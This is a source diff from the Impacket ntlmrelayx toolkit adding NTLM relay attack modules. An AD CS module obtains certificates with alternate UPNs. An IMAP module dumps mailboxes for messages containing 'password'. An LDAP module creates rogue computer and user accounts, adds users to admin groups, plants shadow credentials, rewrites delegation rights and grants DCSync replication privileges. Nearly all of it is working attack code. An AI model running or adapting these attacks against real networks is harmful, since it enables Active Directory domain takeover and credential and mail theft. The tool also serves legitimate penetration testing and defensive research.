+#   Ex Android Dev (@ExAndroidDev)
+
+from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
+from impacket.examples.ntlmrelayx.attacks.httpattacks.adcsattack import ADCSAttack
+
+PROTOCOL_ATTACK_CLASS = "HTTPAttack"
+
+
+class HTTPAttack(ProtocolAttack, ADCSAttack):
+    """
+    This is the default HTTP attack. This attack only dumps the root page, though
+    you can add any complex attack below. self.client is an instance of urrlib.session
+    For easy advanced attacks, use the SOCKS option and use curl or a browser to simply
+    proxy through ntlmrelayx
+    """
+    PLUGIN_NAMES = ["HTTP", "HTTPS"]
+
+    def run(self):
+
+        if self.config.isADCSAttack:
+            ADCSAttack._run(self)
+        else:
+            # Default action: Dump requested page to file, named username-targetname.html
+            # You can also request any page on the server via self.client.session,
+            # for example with:
+            self.client.request("GET", "/")
+            r1 = self.client.getresponse()
+            print(r1.status, r1.reason)
+            data1 = r1.read()
+            print(data1)
diff --git a/impacket/examples/ntlmrelayx/attacks/httpattacks/__init__.py b/impacket/examples/ntlmrelayx/attacks/httpattacks/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py b/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py
new file mode 100644
index 0000000..a12ab34
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py
@@ -0,0 +1,109 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   AD CS relay attack
+#
+# Authors:
+#   Ex Android Dev (@ExAndroidDev)
+#   Tw1sm (@Tw1sm)
+
+import re
+import base64
+from OpenSSL import crypto
+
+from impacket import LOG
+
+# cache already attacked clients
+ELEVATED = []
+
+
+class ADCSAttack:
+
+    def _run(self):
+        key = crypto.PKey()
+        key.generate_key(crypto.TYPE_RSA, 4096)
+
+        if self.username in ELEVATED:
+            LOG.info('Skipping user %s since attack was already performed' % self.username)
+            return
+
+        current_template = self.config.template
+        if current_template is None:
+            current_template = "Machine" if self.username.endswith("$") else "User"
+
+        csr = self.generate_csr(key, self.username, self.config.altName)
+        csr = csr.decode().replace("\n", "").replace("+", "%2b").replace(" ", "+")
+        LOG.info("CSR generated!")
+
+        certAttrib = self.generate_certattributes(current_template, self.config.altName)
+
+        data = "Mode=newreq&CertRequest=%s&CertAttrib=%s&TargetStoreFlags=0&SaveCert=yes&ThumbPrint=" % (csr, certAttrib)
+
+        headers = {
+            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
+            "Content-Type": "application/x-www-form-urlencoded",
+            "Content-Length": len(data)
+        }
+
+        LOG.info("Getting certificate...")
+
+        self.client.request("POST", "/certsrv/certfnsh.asp", body=data, headers=headers)
+        ELEVATED.append(self.username)
+        response = self.client.getresponse()
+
+        if response.status != 200:
+            LOG.error("Error getting certificate! Make sure you have entered valid certiface template.")
+            return
+
+        content = response.read()
+        found = re.findall(r'location="certnew.cer\?ReqID=(.*?)&', content.decode())
+        if len(found) == 0:
+            LOG.error("Error obtaining certificate!")
+            return
+
+        certificate_id = found[0]
+
+        self.client.request("GET", "/certsrv/certnew.cer?ReqID=" + certificate_id)
+        response = self.client.getresponse()
+
+        LOG.info("GOT CERTIFICATE! ID %s" % certificate_id)
+        certificate = response.read().decode()
+
+        certificate_store = self.generate_pfx(key, certificate)
+        LOG.info("Base64 certificate of user %s: \n%s" % (self.username, base64.b64encode(certificate_store).decode()))
+
+        if self.config.altName:
+            LOG.info("This certificate can also be used for user : {}".format(self.config.altName))
+
+    def generate_csr(self, key, CN, altName):
+        LOG.info("Generating CSR...")
+        req = crypto.X509Req()
+        req.get_subject().CN = CN
+
+        if altName:
+            req.add_extensions([crypto.X509Extension(b"subjectAltName", False, b"otherName:1.3.6.1.4.1.311.20.2.3;UTF8:%b" %  altName.encode() )])
+
+
+        req.set_pubkey(key)
+        req.sign(key, "sha256")
+
+        return crypto.dump_certificate_request(crypto.FILETYPE_PEM, req)
+
+    def generate_pfx(self, key, certificate):
+        certificate = crypto.load_certificate(crypto.FILETYPE_PEM, certificate)
+        p12 = crypto.PKCS12()
+        p12.set_certificate(certificate)
+        p12.set_privatekey(key)
+        return p12.export()
+
+    def generate_certattributes(self, template, altName):
+
+        if altName:
+            return "CertificateTemplate:{}%0d%0aSAN:upn={}".format(template, altName)
+        return "CertificateTemplate:{}".format(template)
diff --git a/impacket/examples/ntlmrelayx/attacks/imapattack.py b/impacket/examples/ntlmrelayx/attacks/imapattack.py
new file mode 100644
index 0000000..1142d02
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/attacks/imapattack.py
@@ -0,0 +1,87 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   IMAP Attack Class
+#   IMAP protocol relay attack
+#
+# Authors:
+#   Alberto Solino (@agsolino)
+#   Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
+#
+import re
+import os
+from impacket import LOG
+from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
+
+PROTOCOL_ATTACK_CLASS = "IMAPAttack"
+
+class IMAPAttack(ProtocolAttack):
+    """
+    This is the default IMAP(s) attack. By default it searches the INBOX imap folder
+    for messages with "password" in the header or body. Alternate keywords can be specified
+    on the command line. For more advanced attacks, consider using the SOCKS feature.
+    """
+    PLUGIN_NAMES = ["IMAP", "IMAPS"]
+    def run(self):
+        #Default action: Search the INBOX
+        targetBox = self.config.mailbox
+        result, data = self.client.select(targetBox,True) #True indicates readonly
+        if result != 'OK':
+            LOG.error('Could not open mailbox %s: %s' % (targetBox, data))
+            LOG.info('Opening mailbox INBOX')
+            targetBox = 'INBOX'
+            result, data = self.client.select(targetBox,True) #True indicates readonly
+        inboxCount = int(data[0])
+        LOG.info('Found %s messages in mailbox %s' % (inboxCount, targetBox))
+        #If we should not dump all, search for the keyword
+        if not self.config.dump_all:
+            result, rawdata = self.client.search(None, 'OR', 'SUBJECT', '"%s"' % self.config.keyword, 'BODY', '"%s"' % self.config.keyword)
+            #Check if search worked
+            if result != 'OK':
+                LOG.error('Search failed: %s' % rawdata)
+                return
+            dumpMessages = []
+            #message IDs are separated by spaces
+            for msgs in rawdata:
+                dumpMessages += msgs.split(' ')
+            if self.config.dump_max != 0 and len(dumpMessages) > self.config.dump_max:
+                dumpMessages = dumpMessages[:self.config.dump_max]
+        else:
+            #Dump all mails, up to the maximum number configured
+            if self.config.dump_max == 0 or self.config.dump_max > inboxCount:
+                dumpMessages = list(range(1, inboxCount+1))
+            else:
+                dumpMessages = list(range(1, self.config.dump_max+1))
+
+        numMsgs = len(dumpMessages)
+        if numMsgs == 0:
+            LOG.info('No messages were found containing the search keywords')
+        else:
+            LOG.info('Dumping %d messages found by search for "%s"' % (numMsgs, self.config.keyword))
+            for i, msgIndex in enumerate(dumpMessages):
+                #Fetch the message
+                result, rawMessage = self.client.fetch(msgIndex, '(RFC822)')
+                if result != 'OK':
+                    LOG.error('Could not fetch message with index %s: %s' % (msgIndex, rawMessage))
+                    continue
+
+                #Replace any special chars in the mailbox name and username
+                mailboxName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', targetBox)
+                textUserName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username)
+
+                #Combine username with mailboxname and mail number
+                fileName = 'mail_' + textUserName + '-' + mailboxName + '_' + str(msgIndex) + '.eml'
+
+                #Write it to the file
+                with open(os.path.join(self.config.lootdir,fileName),'w') as of:
+                    of.write(rawMessage[0][1])
+                LOG.info('Done fetching message %d/%d' % (i+1,numMsgs))
+
+        #Close connection cleanly
+        self.client.logout()
diff --git a/impacket/examples/ntlmrelayx/attacks/ldapattack.py b/impacket/examples/ntlmrelayx/attacks/ldapattack.py
new file mode 100644
index 0000000..b18c19d
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/attacks/ldapattack.py
@@ -0,0 +1,1165 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   LDAP Attack Class
+#   LDAP(s) protocol relay attack
+#
+# Authors:
+#   Alberto Solino (@agsolino)
+#   Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
+#
+import _thread
+import random
+import string
+import json
+import datetime
+import binascii
+import codecs
+import re
+from unittest import result
+import ldap3
+import ldapdomaindump
+from ldap3.core.results import RESULT_UNWILLING_TO_PERFORM
+from ldap3.protocol.microsoft import security_descriptor_control
+from ldap3.protocol.formatters.formatters import format_sid
+from ldap3.utils.conv import escape_filter_chars
+import os
+from Cryptodome.Hash import MD4
+
+from impacket import LOG
+from impacket.examples.ldap_shell import LdapShell
+from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
+from impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell
+from impacket.ldap import ldaptypes
+from impacket.ldap.ldaptypes import ACCESS_ALLOWED_OBJECT_ACE, ACCESS_MASK, ACCESS_ALLOWED_ACE, ACE, OBJECTTYPE_GUID_MAP
+from impacket.uuid import string_to_bin, bin_to_string
+from impacket.structure import Structure, hexdump
+
+from dsinternals.system.Guid import Guid
+from dsinternals.common.cryptography.X509Certificate2 import X509Certificate2
+from dsinternals.system.DateTime import DateTime
+from dsinternals.common.data.hello.KeyCredential import KeyCredential
+
+# This is new from ldap3 v2.5
+try:
+    from ldap3.protocol.microsoft import security_descriptor_control
+except ImportError:
+    # We use a print statement because the logger is not initialized yet here
+    print("Failed to import required functions from ldap3. ntlmrelayx requires ldap3 >= 2.5.0. \
+Please update with 'python -m pip install ldap3 --upgrade'")
+PROTOCOL_ATTACK_CLASS = "LDAPAttack"
+
+# Define global variables to prevent dumping the domain twice
+# and to prevent privilege escalating more than once
+dumpedDomain = False
+dumpedAdcs = False
+alreadyEscalated = False
+alreadyAddedComputer = False
+delegatePerformed = []
+delegatePerformedUser =[]
+#gMSA structure
+class MSDS_MANAGEDPASSWORD_BLOB(Structure):
+    structure = (
+        ('Version','<H'),
+        ('Reserved','<H'),
+        ('Length','<L'),
+        ('CurrentPasswordOffset','<H'),
+        ('PreviousPasswordOffset','<H'),
+        ('QueryPasswordIntervalOffset','<H'),
+        ('UnchangedPasswordIntervalOffset','<H'),
+        ('CurrentPassword',':'),
+        ('PreviousPassword',':'),
+        #('AlignmentPadding',':'),
+        ('QueryPasswordInterval',':'),
+        ('UnchangedPasswordInterval',':'),
+    )
+
+    def __init__(self, data = None):
+        Structure.__init__(self, data = data)
+
+    def fromString(self, data):
+        Structure.fromString(self,data)
+
+        if self['PreviousPasswordOffset'] == 0:
+            endData = self['QueryPasswordIntervalOffset']
+        else:
+            endData = self['PreviousPasswordOffset']
+
+        self['CurrentPassword'] = self.rawData[self['CurrentPasswordOffset']:][:endData - self['CurrentPasswordOffset']]
+        if self['PreviousPasswordOffset'] != 0:
+            self['PreviousPassword'] = self.rawData[self['PreviousPasswordOffset']:][:self['QueryPasswordIntervalOffset']-self['PreviousPasswordOffset']]
+
+        self['QueryPasswordInterval'] = self.rawData[self['QueryPasswordIntervalOffset']:][:self['UnchangedPasswordIntervalOffset']-self['QueryPasswordIntervalOffset']]
+        self['UnchangedPasswordInterval'] = self.rawData[self['UnchangedPasswordIntervalOffset']:]
+
+
+class LDAPAttack(ProtocolAttack):
+    """
+    This is the default LDAP attack. It checks the privileges of the relayed account
+    and performs a domaindump if the user does not have administrative privileges.
+    If the user is an Enterprise or Domain admin, a new user is added to escalate to DA.
+    """
+    PLUGIN_NAMES = ["LDAP", "LDAPS"]
+
+    # ACL constants
+    # When reading, these constants are actually represented by
+    # the following for Active Directory specific Access Masks
+    # Reference: https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2
+    GENERIC_READ            = 0x00020094
+    GENERIC_WRITE           = 0x00020028
+    GENERIC_EXECUTE         = 0x00020004
+    GENERIC_ALL             = 0x000F01FF
+
+    def __init__(self, config, LDAPClient, username):
+        self.computerName = '' if not config.addcomputer else config.addcomputer[0]
+        self.computerPassword = '' if not config.addcomputer or len(config.addcomputer) < 2 else config.addcomputer[1]
+        ProtocolAttack.__init__(self, config, LDAPClient, username)
+        if self.config.interactive:
+            # Launch locally listening interactive shell.
+            self.tcp_shell = TcpShell()
+    
+    def addComputer(self, parent, domainDumper):
+        """
+        Add a new computer. Parent is preferably CN=computers,DC=Domain,DC=local, but can
+        also be an OU or other container where we have write privileges
+        """
+        global alreadyAddedComputer
+        if alreadyAddedComputer:
+            LOG.error('New computer already added. Refusing to add another')
+            return False
+
+        if not self.client.tls_started and not self.client.server.ssl:
+            LOG.info('Adding a machine account to the domain requires TLS but ldap:// scheme provided. Switching target to LDAPS via StartTLS')
+            if not self.client.start_tls():
+                LOG.error('StartTLS failed')
+                return False
+
+        # Get the domain we are in
+        domaindn = domainDumper.root
+        domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:]
+
+        computerName = self.computerName
+        if not computerName:
+            # Random computername
+            newComputer = (''.join(random.choice(string.ascii_letters) for _ in range(8)) + '$').upper()
+        else:
+            newComputer = computerName if computerName.endswith('$') else computerName + '$'
+
+        computerPassword = self.computerPassword
+        if not computerPassword:
+            # Random password
+            newPassword = ''.join(random.choice(string.ascii_letters + string.digits + '.,;:!$-_+/*(){}#@<>^') for _ in range(15))
+        else:
+            newPassword = computerPassword
+
+        computerHostname = newComputer[:-1]
+        newComputerDn = ('CN=%s,%s' % (computerHostname, parent)).encode('utf-8')
+
+        # Default computer SPNs
+        spns = [
+            'HOST/%s' % computerHostname,
+            'HOST/%s.%s' % (computerHostname, domain),
+            'RestrictedKrbHost/%s' % computerHostname,
+            'RestrictedKrbHost/%s.%s' % (computerHostname, domain),
+        ]
+        ucd = {
+            'dnsHostName': '%s.%s' % (computerHostname, domain),
+            'userAccountControl': 4096,
+            'servicePrincipalName': spns,
+            'sAMAccountName': newComputer,
+            'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le')
+        }
+        LOG.debug('New computer info %s', ucd)
+        LOG.info('Attempting to create computer in: %s', parent)
+        res = self.client.add(newComputerDn.decode('utf-8'), ['top','person','organizationalPerson','user','computer'], ucd)
+        if not res:
+            # Adding computers requires LDAPS
+            if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl:
+                LOG.error('Failed to add a new computer. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing account.')
+            else:
+                LOG.error('Failed to add a new computer: %s' % str(self.client.result))
+            return False
+        else:
+            LOG.info('Adding new computer with username: %s and password: %s result: OK' % (newComputer, newPassword))
+            alreadyAddedComputer = True
+            # Return the SAM name
+            return newComputer
+
+    def addUser(self, parent, domainDumper):
+        """
+        Add a new user. Parent is preferably CN=Users,DC=Domain,DC=local, but can
+        also be an OU or other container where we have write privileges
+        """
+        global alreadyEscalated
+        if alreadyEscalated:
+            LOG.error('New user already added. Refusing to add another')
+            return
+
+        if not self.client.tls_started and not self.client.server.ssl:
+            LOG.info('Adding a user account to the domain requires TLS but ldap:// scheme provided. Switching target to LDAPS via StartTLS')
+            if not self.client.start_tls():
+                LOG.error('StartTLS failed')
+                return False
+
+        # Random password
+        newPassword = ''.join(random.choice(string.ascii_letters + string.digits + '.,;:!$-_+/*(){}#@<>^') for _ in range(15))
+
+        # Random username
+        newUser = ''.join(random.choice(string.ascii_letters) for _ in range(10))
+        newUserDn = 'CN=%s,%s' % (newUser, parent)
+        ucd = {
+            'objectCategory': 'CN=Person,CN=Schema,CN=Configuration,%s' % domainDumper.root,
+            'distinguishedName': newUserDn,
+            'cn': newUser,
+            'sn': newUser,
+            'givenName': newUser,
+            'displayName': newUser,
+            'name': newUser,
+            'userAccountControl': 512,
+            'accountExpires': '0',
+            'sAMAccountName': newUser,
+            'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le')
+        }
+        LOG.info('Attempting to create user in: %s', parent)
+        res = self.client.add(newUserDn, ['top', 'person', 'organizationalPerson', 'user'], ucd)
+        if not res:
+            # Adding users requires LDAPS
+            if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl:
+                LOG.error('Failed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.')
+            else:
+                LOG.error('Failed to add a new user: %s' % str(self.client.result))
+            return False
+        else:
+            LOG.info('Adding new user with username: %s and password: %s result: OK' % (newUser, newPassword))
+
+            # Return the DN
+            return newUserDn
+
+    def addUserToGroup(self, userDn, domainDumper, groupDn):
+        global alreadyEscalated
+        # For display only
+        groupName = groupDn.split(',')[0][3:]
+        userName = userDn.split(',')[0][3:]
+        # Now add the user as a member to this group
+        res = self.client.modify(groupDn, {
+            'member': [(ldap3.MODIFY_ADD, [userDn])]})
+        if res:
+            LOG.info('Adding user: %s to group %s result: OK' % (userName, groupName))
+            LOG.info('Privilege escalation succesful, shutting down...')
+            alreadyEscalated = True
+            _thread.interrupt_main()
+        else:
+            LOG.error('Failed to add user to %s group: %s' % (groupName, str(self.client.result)))
+
+
+    def shadowCredentialsAttack(self, domainDumper):
+        currentShadowCredentialsTarget = self.config.ShadowCredentialsTarget
+        # If the target is not specify, we try to modify the user himself
+        if not currentShadowCredentialsTarget:
+            currentShadowCredentialsTarget = self.username
+
+        if currentShadowCredentialsTarget in delegatePerformed:
+            LOG.info('Shadow credentials attack already performed for %s, skipping' % currentShadowCredentialsTarget)
+            return
+
+        LOG.info("Searching for the target account")
+
+        # Get the domain we are in
+        domaindn = domainDumper.root
+        domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:]
+
+        # Get target computer DN
+        result = self.getUserInfo(domainDumper, currentShadowCredentialsTarget)
+        if not result:
+            LOG.error('Target account does not exist! (wrong domain?)')
+            return
+        else:
+            target_dn = result[0]
+            LOG.info("Target user found: %s" % target_dn)
+
+        LOG.info("Generating certificate")
+        certificate = X509Certificate2(subject=currentShadowCredentialsTarget, keySize=2048, notBefore=(-40 * 365), notAfter=(40 * 365))
+        LOG.info("Certificate generated")
+        LOG.info("Generating KeyCredential")
+        keyCredential = KeyCredential.fromX509Certificate2(certificate=certificate, deviceId=Guid(), owner=target_dn, currentTime=DateTime())
+        LOG.info("KeyCredential generated with DeviceID: %s" % keyCredential.DeviceId.toFormatD())
+        LOG.debug("KeyCredential: %s" % keyCredential.toDNWithBinary().toString())
+        self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName', 'objectSid', 'msDS-KeyCredentialLink'])
+        results = None
+        for entry in self.client.response:
+            if entry['type'] != 'searchResEntry':
+                continue
+            results = entry
+        if not results:
+            LOG.error('Could not query target user properties')
+            return
+        try:
+            new_values = results['raw_attributes']['msDS-KeyCredentialLink'] + [keyCredential.toDNWithBinary().toString()]
+            LOG.info("Updating the msDS-KeyCredentialLink attribute of %s" % currentShadowCredentialsTarget)
+            self.client.modify(target_dn, {'msDS-KeyCredentialLink': [ldap3.MODIFY_REPLACE, new_values]})
+            if self.client.result['result'] == 0:
+                LOG.info("Updated the msDS-KeyCredentialLink attribute of the target object")
+                if self.config.ShadowCredentialsOutfilePath is None:
+                    path = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(8))
+                    LOG.debug("No outfile path was provided. The certificate(s) will be store with the filename: %s" % path)
+                else:
+                    path = self.config.ShadowCredentialsOutfilePath
+                if self.config.ShadowCredentialsExportType == "PEM":
+                    certificate.ExportPEM(path_to_files=path)
+                    LOG.info("Saved PEM certificate at path: %s" % path + "_cert.pem")
+                    LOG.info("Saved PEM private key at path: %s" % path + "_priv.pem")
+                    LOG.info("A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools")
+                    LOG.info("Run the following command to obtain a TGT")
+                    LOG.info("python3 PKINITtools/gettgtpkinit.py -cert-pem %s_cert.pem -key-pem %s_priv.pem %s/%s %s.ccache" % (path, path, domain, currentShadowCredentialsTarget, path))
+                elif self.config.ShadowCredentialsExportType == "PFX":
+                    if self.config.ShadowCredentialsPFXPassword is None:
+                        password = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(20))
+                        LOG.debug("No pass was provided. The certificate will be store with the password: %s" % password)
+                    else:
+                        password = self.config.ShadowCredentialsPFXPassword
+                    certificate.ExportPFX(password=password, path_to_file=path)
+                    LOG.info("Saved PFX (#PKCS12) certificate & key at path: %s" % path + ".pfx")
+                    LOG.info("Must be used with password: %s" % password)
+                    LOG.info("A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools")
+                    LOG.info("Run the following command to obtain a TGT")
+                    LOG.info("python3 PKINITtools/gettgtpkinit.py -cert-pfx %s.pfx -pfx-pass %s %s/%s %s.ccache" % (path, password, domain, currentShadowCredentialsTarget, path))
+                    delegatePerformed.append(currentShadowCredentialsTarget)
+            else:
+                if self.client.result['result'] == 50:
+                    LOG.error('Could not modify object, the server reports insufficient rights: %s' % self.client.result['message'])
+                elif self.client.result['result'] == 19:
+                    LOG.error('Could not modify object, the server reports a constrained violation: %s' % self.client.result['message'])
+                else:
+                    LOG.error('The server returned an error: %s' % self.client.result['message'])
+        except IndexError:
+            LOG.info('Attribute msDS-KeyCredentialLink does not exist')
+        return
+
+    def delegateAttack(self, usersam, targetsam, domainDumper, sid):
+        global delegatePerformed
+        if targetsam in delegatePerformed:
+            LOG.info('Delegate attack already performed for this computer, skipping')
+            return
+
+        if not usersam:
+            usersam = self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper)
+            self.config.escalateuser = usersam
+
+        if not sid:
+            # Get escalate user sid
+            result = self.getUserInfo(domainDumper, usersam)
+            if not result:
+                LOG.error('User to escalate does not exist!')
+                return
+            escalate_sid = str(result[1])
+        else:
+            escalate_sid = usersam
+
+        # Get target computer DN
+        result = self.getUserInfo(domainDumper, targetsam)
+        if not result:
+            LOG.error('Computer to modify does not exist! (wrong domain?)')
+            return
+        target_dn = result[0]
+
+        self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName','objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity'])
+        targetuser = None
+        for entry in self.client.response:
+            if entry['type'] != 'searchResEntry':
+                continue
+            targetuser = entry
+        if not targetuser:
+            LOG.error('Could not query target user properties')
+            return
+        try:
+            sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0])
+            LOG.debug('Currently allowed sids:')
+            for ace in sd['Dacl'].aces:
+                LOG.debug('    %s' % ace['Ace']['Sid'].formatCanonical())
+        except IndexError:
+            # Create DACL manually
+            sd = create_empty_sd()
+        sd['Dacl'].aces.append(create_allow_ace(escalate_sid))
+        self.client.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]})
+        if self.client.result['result'] == 0:
+            LOG.info('Delegation rights modified succesfully!')
+            LOG.info('%s can now impersonate users on %s via S4U2Proxy', usersam, targetsam)
+            delegatePerformed.append(targetsam)
+        else:
+            if self.client.result['result'] == 50:
+                LOG.error('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
+            elif self.client.result['result'] == 19:
+                LOG.error('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
+            else:
+                LOG.error('The server returned an error: %s', self.client.result['message'])
+        return
+
+    def aclAttack(self, userDn, domainDumper):
+        global alreadyEscalated
+        if alreadyEscalated:
+            LOG.error('ACL attack already performed. Refusing to continue')
+            return
+
+        # Dictionary for restore data
+        restoredata = {}
+
+        # Query for the sid of our user
+        try:
+            self.client.search(userDn, '(objectClass=user)', attributes=['sAMAccountName', 'objectSid'])
+            entry = self.client.entries[0]
+        except IndexError:
+            LOG.error('Could not retrieve infos for user: %s' % userDn)
+            return
+        username = entry['sAMAccountName'].value
+        usersid = entry['objectSid'].value
+        LOG.debug('Found sid for user %s: %s' % (username, usersid))
+
+        # Set SD flags to only query for DACL
+        controls = security_descriptor_control(sdflags=0x04)
+        alreadyEscalated = True
+
+        LOG.info('Querying domain security descriptor')
+        self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
+        entry = self.client.entries[0]
+        secDescData = entry['nTSecurityDescriptor'].raw_values[0]
+        secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)
+
+        # Save old SD for restore purposes
+        restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8')
+        restoredata['target_sid'] = usersid
+
+        secDesc['Dacl']['Data'].append(create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid))
+        secDesc['Dacl']['Data'].append(create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid))
+        dn = entry.entry_dn
+        data = secDesc.getData()
+        self.client.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls)
+        if self.client.result['result'] == 0:
+            alreadyEscalated = True
+            LOG.info('Success! User %s now has Replication-Get-Changes-All privileges on the domain', username)
+            LOG.info('Try using DCSync with secretsdump.py and this user :)')
+
+            # Query the SD again to see what AD made of it
+            self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
+            entry = self.client.entries[0]
+            newSD = entry['nTSecurityDescriptor'].raw_values[0]
+            # Save this to restore the SD later on
+            restoredata['target_dn'] = dn
+            restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8')
+            restoredata['success'] = True
+            self.writeRestoreData(restoredata, dn)
+            return True
+        else:
+            LOG.error('Error when updating ACL: %s' % self.client.result)
+            return False
+
+    def writeRestoreData(self, restoredata, domaindn):
+        output = {}
+        domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:]
+        output['config'] = {'server':self.client.server.host,'domain':domain}
+        output['history'] = [{'operation': 'add_domain_sync', 'data': restoredata, 'contextuser': self.username}]
+        now = datetime.datetime.now()
+        filename = 'aclpwn-%s.restore' % now.strftime("%Y%m%d-%H%M%S")
+        # Save the json to file
+        with codecs.open(filename, 'w', 'utf-8') as outfile:
+            json.dump(output, outfile)
+        LOG.info('Saved restore state to %s', filename)
+
+    def validatePrivileges(self, uname, domainDumper):
+        # Find the user's DN
+        membersids = []
+        sidmapping = {}
+        privs = {
+            'create': False, # Whether we can create users
+            'createIn': None, # Where we can create users
+            'escalateViaGroup': False, # Whether we can escalate via a group
+            'escalateGroup': None, # The group we can escalate via
+            'aclEscalate': False, # Whether we can escalate via ACL on the domain object
+            'aclEscalateIn': None # The object which ACL we can edit
+        }
+        self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(uname), attributes=['objectSid', 'primaryGroupId'])
+        user = self.client.entries[0]
+        usersid = user['objectSid'].value
+        sidmapping[usersid] = user.entry_dn
+        membersids.append(usersid)
+        # The groups the user is a member of
+        self.client.search(domainDumper.root, '(member:1.2.840.113556.1.4.1941:=%s)' % escape_filter_chars(user.entry_dn), attributes=['name', 'objectSid'])
+        LOG.debug('User is a member of: %s' % self.client.entries)
+        for entry in self.client.entries:
+            sidmapping[entry['objectSid'].value] = entry.entry_dn
+            membersids.append(entry['objectSid'].value)
+        # Also search by primarygroupid
+        # First get domain SID
+        self.client.search(domainDumper.root, '(objectClass=domain)', attributes=['objectSid'])
+        domainsid = self.client.entries[0]['objectSid'].value
+        gid = user['primaryGroupId'].value
+        # Now search for this group by SID
+        self.client.search(domainDumper.root, '(objectSid=%s-%d)' % (domainsid, gid), attributes=['name', 'objectSid', 'distinguishedName'])
+        group = self.client.entries[0]
+        LOG.debug('User is a member of: %s' % self.client.entries)
+        # Add the group sid of the primary group to the list
+        sidmapping[group['objectSid'].value] = group.entry_dn
+        membersids.append(group['objectSid'].value)
+        controls = security_descriptor_control(sdflags=0x05) # Query Owner and Dacl
+        # Now we have all the SIDs applicable to this user, now enumerate the privileges of domains and OUs
+        entries = self.client.extend.standard.paged_search(domainDumper.root, '(|(objectClass=domain)(objectClass=organizationalUnit))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True)
+        self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper)
+        # Also get the privileges on the default Users container
+        entries = self.client.extend.standard.paged_search(domainDumper.root, '(&(cn=Users)(objectClass=container))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True)
+        self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper)
+
+        # Interesting groups we'd like to be a member of, in order of preference
+        interestingGroups = [
+            '%s-%d' % (domainsid, 519), # Enterprise admins
+            '%s-%d' % (domainsid, 512), # Domain admins
+            'S-1-5-32-544', # Built-in Administrators
+            'S-1-5-32-551', # Backup operators
+            'S-1-5-32-548', # Account operators
+        ]
+        privs['escalateViaGroup'] = False
+        for group in interestingGroups:
+            self.client.search(domainDumper.root, '(objectSid=%s)' % group, attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls)
+            groupdata = self.client.response
+            self.checkSecurityDescriptors(groupdata, privs, membersids, sidmapping, domainDumper)
+            if privs['escalateViaGroup']:
+                # We have a result - exit the loop
+                break
+        return (usersid, privs)
+
